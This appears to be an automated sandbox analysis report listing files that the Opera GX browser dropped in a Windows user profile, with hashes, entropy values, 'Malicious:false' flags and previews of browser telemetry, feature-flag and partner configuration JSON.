                                                                                                                                                                                                              Entropy (8bit):7.989203904153434
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:80553ED18189938A8E8262A55595FC2E
                                                                                                                                                                                                              SHA1:F4331B939FBB05110D49C7D411666805D70AF883
                                                                                                                                                                                                              SHA-256:BD1F65EE90EEC224DACE68885A31067538E5C6FD2534F243DA3C5FB95ABE0EF6
                                                                                                                                                                                                              SHA-512:CBD3827BBCFAADBFE70FB786FD0F423D72DB0DFD5EAFAA048533B085CE42E2A5E100DC4F7F027CBDE89C45EF1CBFB35D469DE54537676AA3FBA4B5FFE7CD38CC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:*SPO*;.'...6....aw..7.r..pz..oH....{.p....*(..>D..8N5...x.R.....c6L.e..aZ.\_...<.^....^..:.)...E..x.FC/*@@.F{..5^...hU....1CNW.c+..+."......B.....R.+..?f.3Z...O..\>...{G.L...JExO...%...j./.fQ?.sf.nQ.6... 'p.M.xdY...c..L5.....H.k...j.........Q..=.{R.T7/.._d.%].hy.......U93...._z.Kk9....Y`....IV...o....V.'.}F......H....sQ/D....].!.V..`.i............l..@.9i#.......!.HNs._.\...y...Wo..I...|..E...l6.q.KL..doi...)Y.4..ij....s..T..F.K.?.n.c|K....-...FW...'.T.p.{.o.Ho...zo`......G...u..=$.+..2.U...]..$.S9....E.....4......'.j....|.....'..:o.}}...n.O4..-...L..#.....i....\o..._E..1..4.0...?.eQ....I.......7\..`...~...........%V..0.ml..j{...9pM...sbL.P.9.....[.b.e.:...=.._..l.....iy.lE.M.cYe^...ve.`..J$.....!.........C.......$iI...l......M...........k.B..qI...(H<...Q>]..X......Eo...s..+.5tx.C...d..J/e.S..3m..&.:K.,@s."............%.K...@.......C..\.Z.y....U...F..kg......O.......a^..b".S.H..x&\..k.{..M..Ef..g3DVM.9..aH..J.c.2=.Uj.'.}J.L...`._%..%{

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\c0e007b5-79f1-4175-9fe5-b03becd5edfd.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1341)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1389
                                                                                                                                                                                                              Entropy (8bit):5.75445115000263
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:59699CE080CD697CB1A2E2D965278327
                                                                                                                                                                                                              SHA1:A581A9FCA0763200B28E70D9F729E7FB8E508111
                                                                                                                                                                                                              SHA-256:5AD4160BBBD10EE119EFB05A2150CB0D56E00177C69AC7889D7FD6F2B503CDF8
                                                                                                                                                                                                              SHA-512:412B4ADA128830D5B25C624D26F4CD8964FFCB5C0935E44E0A0E84FF0923C7FF25E88745755A26B8282AD6532960463E67859985DBEEA107B89AAE46A5C5F898
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// kMq9EnQHEqjv6uYTwvIw7PkiyU4rHTdfqym0e4FrGjE=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":1}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":1}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":1}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":1}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":1}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":1}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":2}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":1}},"https://www.instant-gaming.com/":{"cA2lwEw6hf0i74WSE38/4rTXeogcnS5

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\c8185f0a-2c46-416a-a75c-69051e97e406.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1399)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1447
                                                                                                                                                                                                              Entropy (8bit):5.7294396634461755
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E0EB21906E66F3168D2676FE9527C36B
                                                                                                                                                                                                              SHA1:3BD3D030E2750E64218DE0D44A330F589ED3070E
                                                                                                                                                                                                              SHA-256:9746D171C4D358E5DEBD43539FE939C45FEE0B84C739F69A6E9974B86DD4999B
                                                                                                                                                                                                              SHA-512:E0F9073B3278C45FC1AE4CAC97EA3A4D3457CD81CAC297635678BF6D22A7BCC7690D82ADBAA13BE3F88B3C3446C683232097D6F43F75B8838DC6B69C58F5552C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// T8Aa8vnn6eSKdv0ymECY9vAqftJ5rpgimBR/D7BiJS4=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":2}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":3}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":3}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":2}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":2}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":3}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":3}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":3}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\cbd15968-29b9-4179-91d8-3ee63b337c3d.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1341)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1389
                                                                                                                                                                                                              Entropy (8bit):5.752719859221499
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E99CBED9608A318BB354F64C5E48CDDD
                                                                                                                                                                                                              SHA1:E87C3F07B20F02D71784DD03888C2F6A6375C8C5
                                                                                                                                                                                                              SHA-256:0566E92C22759A6445FED9FBB6E8EA3CC0A4E9E096232690329092F9FEFA72D5
                                                                                                                                                                                                              SHA-512:BB97670753C9370C2FF2C22369B9899ADDAA50596A92369BCBFBB503670D746D9451D7754DFF0E62616361DD544FEB6F1634482C406B0816EF93D31D71DFAFF7
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// wLdBkvN5baFmCQTsvokzoHVTWr+fAA8tXtFOms1lOTU=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":1}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":2}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":2}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":1}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":2}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":2}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":2}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":2}},"https://www.instant-gaming.com/":{"cA2lwEw6hf0i74WSE38/4rTXeogcnS5

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\cdbddd46-ca0d-465d-99d0-6648938e859e.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1399)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1447
                                                                                                                                                                                                              Entropy (8bit):5.736239849301319
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4BEE4E595014C65139A11CE3B148B832
                                                                                                                                                                                                              SHA1:C1683D0B42F898A9AEF1A3B1AA9AFE52810624C0
                                                                                                                                                                                                              SHA-256:94B6AA664CC21AFF0410186FD3DF9ED837B1B00F0E1DF31699E4E0B423F0E22A
                                                                                                                                                                                                              SHA-512:42301A69AEFFA4EC8CB9D1CF8486D0690DE587D3ABBA2D07651C152A8CE90867FF91AD585106A39C76D8B8C28E37852EF0B1F985F1E3192C927DC95FBA19E077
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// YfrQDEGLtKqiccavqFT0EwiGkpn1Y1xGzTUP5z8apJE=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":2}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":3}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":3}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":2}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":3}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":3}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":3}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":3}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\cf1d08f9-d1a9-4254-8baa-b170221007f1.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9659
                                                                                                                                                                                                              Entropy (8bit):4.98075319404662
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E7A7B78FF2FD59CE1D87C7F8462EF6DB
                                                                                                                                                                                                              SHA1:0CCA682C1842F5AFFDEB4E8FA1C141481968605D
                                                                                                                                                                                                              SHA-256:1E99F0A1850399377DE0FFE2F70860C20209C218EEED18DAC415F9D44F88BB79
                                                                                                                                                                                                              SHA-512:8F4DC251AF06D2B190C1B864A7C17C43366BF9B3F0834F22B9A096BBDACDC3A5CDD12654495F70A3095B6ECFE84C40CFAB595792B0B34C3C3355A192439D1326
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autofill":{"last_version_deduped":128},"bookmarks":{"trash_cleaner":{"migration_applied":true}},"browser":{"window_placement":{"height":738,"left":160,"maximized":true,"top":123,"width":960}},"chars":{"next_check":"13373282108094826"},"consent_flow":{"consent_given":false},"default_search_provider":{"synced_guid":"FF57F01A-0718-44B7-8A1F-8B15BC33A50B"},"domain_diversity":{"last_reporting_timestamp":"13373282055163588"},"extensions":{"alerts":{"initialized":true},"chrome_url_overrides":{},"last_opera_version":"128.0.6613.178","pinned_extensions":["igpdmclhhlcpoindmhkhillbfhdgoegm","ompjkhnkeoicimmaehlcmgmpghobbjoj","gojhcdgcpbpfigcaejpfhfegekdgiblk"]},"freedom":{"proxy_switcher":{"automatic_connection_update_applied":true,"forbidden":false,"stat_badge_state":"off"}},"gcm":{"product_category_for_subtypes":"com.operagx.windows"},"gx":{"chroma_equalizer_sites_version":1,"widgets":{"mission_availabl

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\continue_shopping.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (3079)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):159972
                                                                                                                                                                                                              Entropy (8bit):6.08509752046205
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4932BC39E540EDF6F257154DD6642A87
                                                                                                                                                                                                              SHA1:3CBCC6A06796513A605D4F4C6E662213ADE911BE
                                                                                                                                                                                                              SHA-256:C79DB69B234C3886C4AD0B73A203ACFE15BC8E8382F4FA4E6A5E78C6CDC45607
                                                                                                                                                                                                              SHA-512:DDBEFDE8D66DE4FCCB99E5212D4F08230B4DBE82A815BE22FD8EDCE22C9CDCBDC0BDCC4A45E9C8C0C04634F658F84A7F944CAAF4C5BAB7AD97C0CB8BBC310FA9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// ACBmtoCIjfrw1GiE40PTqisc+nBGUkeyOySvFKxkt2F/Sb+UazUpMxaetnu1AgYREo6WpCf6WtunjeBaSzbaTKIxy1WJP2EPnkhlfGvJGc4a+7YxnqSIsd1z712rcHBiBknEzcNNPgjhnCTtICto8ED85wYdD8VrvkHCYfy6Z0tyErEJqQMfC5HwVL/Kaa8BpUvV/C4prLWL6b0jacaKPynS99p+eIYn0o2Aa4W7xG+Fpn/E3PxgWnqz3BjHopQ+bu84K7eoiL6QcrvJzmM9ZMI+Fxx1/55vy0o4NVJ1eC85tYXgaDAwfYIk6aSdwSXWxa+plelbonkwj3aiatFLSQ==.{. "version": 14,. "partners": [. {. "partner_id": "aboutyou_at",. "partner_domain": "aboutyou.at",. "product_url_pattern": "\/p\/.*",. "product_history_pattern": "\"aboutyou.at/p/\"",. "partner_icon": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAclBMVEUAAAD////4+PgYGBikpKQmJiYLCwvi4uLb29tLS0v09PTp6emCgoJra2tcXFxJSUnr6+vJycmKioo6OjojIyP8/PxfX1/6+vrMzMyamprf39/S0tLR0dG9vb28vLxDQ0MfHx8aGhrd3d2GhoZ3d3dFRUWvj4E8AAABVklEQVRIx+1VV5bDIAy0wcbg3kt62b3/FTeUZ+EW7Yt/M5/SSIyEEM4Xn4L5lRCVz/7Hpq13jEJCwujotRSl1yVv3BENL+v3/OThzsCTd2o84i5AvE1dt/NIyoMgH4PPt438F8Mu4syn1M/iwsRc1s/wtLdP2dje1JTkrdbbqfSDne0a6IBup

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\custom_partner_content.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:Unicode text, UTF-8 text, with very long lines (1824)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):242304
                                                                                                                                                                                                              Entropy (8bit):6.028776242997077
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:8EEDA41CF4BB6900216E9A91E69BF857
                                                                                                                                                                                                              SHA1:858FD2E9F90A1A55C4A7B6DE5C1EEABC851749C1
                                                                                                                                                                                                              SHA-256:00CC54663583EE631FA4063B2AF65B89B3451C70435D8EAF9F8332B5CDE916E7
                                                                                                                                                                                                              SHA-512:EB08D29C0F317FE0B3214BBE56CDC3B6F9C0C6A4289FB6C459F6915C2E227B507E32B8763FFD28BDBA829DE7CACE4C3816346B30550410E9D09A2B637D921748
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// oIafncyzxXIthD3yrr0ExADLGcSvJVUPhfm/Ps9IJWzBeVPqfctf2eq3cfSQou5ntqGt6gg7DLHaqxPUf7YMzjoasvVdoztX/1r0O8XKGUx89DnXb+9PZJe/CcnoP0KFiAxZlugvMS9+zaPR/MbZpGnOO7Ylzoxo0Y3WXqfWtpQ8jK9r4pMa23T1hW1X+kj1PKpTOpTZtsm2TtxQGPUXsMmvu/XJHkjGSVpTyFCVFrobvLd0XQPWe6oqLrvsNgPW9HJjbDWiR3cUL2kxGw8qsix5PK/KijbPVyf/tuIv2CYgca2qfUrmjNG5/Mx03+QaecavFhuVV4KaWFacYnatuQ==.{. "version": 41,. "partner_id": "std-2",. "user_agent": "std-2",. "search_engines": {. "location": {. "ad": {. "other": {. "list": [. "google_com",. "yahoo",. "duckduckgo",. "amazon",. "bing_attributed",. "wiki". ],. "speed_dial_index_list": [0]. }. },. "al": {. "other": {. "list": [. "google_com",. "yahoo",. "duckduckgo",. "amazon",. "bing_attributed",. "wiki". ],. "speed_dial_index_list": [0]. }. },.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\d08dc831-6cb7-4d3b-9e45-42af95f84f9f.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1341)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1389
                                                                                                                                                                                                              Entropy (8bit):5.755912404872471
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:087C517C41FC6EB9A05E3DC585558FD3
                                                                                                                                                                                                              SHA1:EE3CC4EB5852ED66AF0F86ADFE61592164802EA5
                                                                                                                                                                                                              SHA-256:25D9051820A2CDEE546009E5DE56D73A2524523334CC0A542DB11E0CA5C431B6
                                                                                                                                                                                                              SHA-512:B700D049F45F4DEDFE1D920DA144438B6FC118A4EC562E3D0C455C0D30A0F35819E5F286091BAD4822FD812C50EE67865D43B2DEB99628EAA3D7853297CB89B9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// JaHNH8hEPoNHkGC0Aza/90mQW5AZlhivYWlTNs0KqQQ=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":1}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":1}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":1}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":1}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":1}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":1}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":1}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":1}},"https://www.instant-gaming.com/":{"cA2lwEw6hf0i74WSE38/4rTXeogcnS5

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\d4cd45cd-82df-42ba-ba51-3d6628508c63.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (3306)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3354
                                                                                                                                                                                                              Entropy (8bit):4.963397093447534
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:446711E1FD731EE999A2E80E7FBFAF69
                                                                                                                                                                                                              SHA1:F8D8CA737ABC384F59C47AFA7EC4EC89794634B2
                                                                                                                                                                                                              SHA-256:0C9AE6BE91DB69AFB0D14A7763AE195D68A4A4B475F3D1038144A492901860A5
                                                                                                                                                                                                              SHA-512:C5BFD6E99C1973DC4CAF7B8A63E940DC5CD3703AA1EA7EA73601AE2D2048BE3E5452E1A9EB2EC615942346FF6E954CE5ACA3E005445796CEA9FF851AE14D4068
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// YjyGC5JSbV05yJa7TCqg3y66EUAQHA/bu5kEcRrI0eQ=.{"ABTests":{"Tests":{"DNA-112027":"DNA-112027-gx-mission-widget-off","DNA-99214_GXCTest50":"GXCTest50-ref"}},"Extensions":{"ActiveExternalExtensionsInfo":{},"ActiveWebstoreExtensionsInfo":{},"BlacklistedExtensionsInfo":{},"TotalCount":0},"Features":{"RemotelyEnabled":["address-bar-dropdown-autocompleted-domains:disabled","address-bar-dropdown-unfiltered-full:disabled","amazon-new-ids","capital-one-cashback-protection","cashback-assistant","continue-on-booking","continue-on-shopping-via-amp:disabled","continue-shopping","continue-shopping-2","continue-shopping-5","continue-shopping-structured-partners","feature-remote-disable-updates-testing-flag:disabled","feature-remote-updates-testing-flag","game-servers:disabled","gx-post-mortem","gx-reactinator","gx-spotlight","gx-video-to-phone","lucid-mode-hide-text","panic-button","password-generator:disabled","play-again","realtime-impressions-reporting","run-at-startup-default","sd-suggestions-ex

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\d8257913-efb3-4db8-b75e-4ff86568f133.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (2881)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2929
                                                                                                                                                                                                              Entropy (8bit):4.881395425359552
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E4F8B3EA6BEBBE7497F48530CE3337F2
                                                                                                                                                                                                              SHA1:EF87A2D7639F815880AE69E050AF7659AA2CFEAD
                                                                                                                                                                                                              SHA-256:880743E2C8AC70638391C88146C36216E87D402B073A009069F2713B7BAEF390
                                                                                                                                                                                                              SHA-512:81CD586B8A88970C7550A80E0EC6618A8FC28FCA3432D3821AD146ECF6E9C7EAE556E47CAFAF27C1F58C474B871BF29EC6B89330C60B471DBE8B79B1CB57DE77
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// E/PodoiomFS3vrIWEymRom7lMN9c/4MBsgH95SKvT30=.{"ABTests":{"Tests":{"DNA-112027":"DNA-112027-gx-mission-widget-off","DNA-99214_GXCTest50":"GXCTest50-ref"}},"Features":{"RemotelyEnabled":["address-bar-dropdown-autocompleted-domains:disabled","address-bar-dropdown-unfiltered-full:disabled","amazon-new-ids","capital-one-cashback-protection","cashback-assistant","continue-on-booking","continue-on-shopping-via-amp:disabled","continue-shopping","continue-shopping-2","continue-shopping-5","continue-shopping-structured-partners","feature-remote-disable-updates-testing-flag:disabled","feature-remote-updates-testing-flag","game-servers:disabled","gx-post-mortem","gx-reactinator","gx-spotlight","gx-video-to-phone","lucid-mode-hide-text","panic-button","password-generator:disabled","play-again","realtime-impressions-reporting","run-at-startup-default","sd-suggestions-external","session-restore-attribution","side-profiles","sitecheck-age","tiktok-panel","ui-compositor-multithreaded"],"UserDecision

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\d988c92d-d7d2-4049-b766-25d16c0fca9e.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (654)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):702
                                                                                                                                                                                                              Entropy (8bit):5.658225980759571
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:BFFCC913A8527BC75D40F02DF3A98B74
                                                                                                                                                                                                              SHA1:09D8FF0112A676C03C7155906BD4CE592DD831DE
                                                                                                                                                                                                              SHA-256:884DCD9219EC6016AED33E108F5144BF2E9F5C7510DCAB6D24FF75D234F2E954
                                                                                                                                                                                                              SHA-512:172A8C698E9D9A2ECEEE08F91497C679BADD282EC36DDEE538A4937CA14D70EBFFB0081FC965DD4674EC17089EC04334615C83CDA2CE420FD3CA3771BE5E493B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// Ed9sb9BhY7u0FXLy+6nj9bUmn6ZQ6xBGkUKzHlrpwe4=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":1}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":1}},"https://www.twitch.tv/":{"Q8R0Kod6c9/H+i1tROyMeJm8kyTeZvYyChUrZvAjliY=":{"Impression":1}},"https://www.youtube.com/":{"Vr5ejLjQcpErr31xahnJSlXskHfMqZIa1pEIRlhJ35w=":{"Impression":1}}}}},"Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1,"StatSendingRequestsCount":1},"Process":{"Retries":1},"ScheduledTask":{"ScheduledTaskAlreadyRunning":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\daily_wallpapers.json (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2
                                                                                                                                                                                                              Entropy (8bit):1.0
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D751713988987E9331980363E24189CE
                                                                                                                                                                                                              SHA1:97D170E1550EEE4AFC0AF065B78CDA302A97674C
                                                                                                                                                                                                              SHA-256:4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
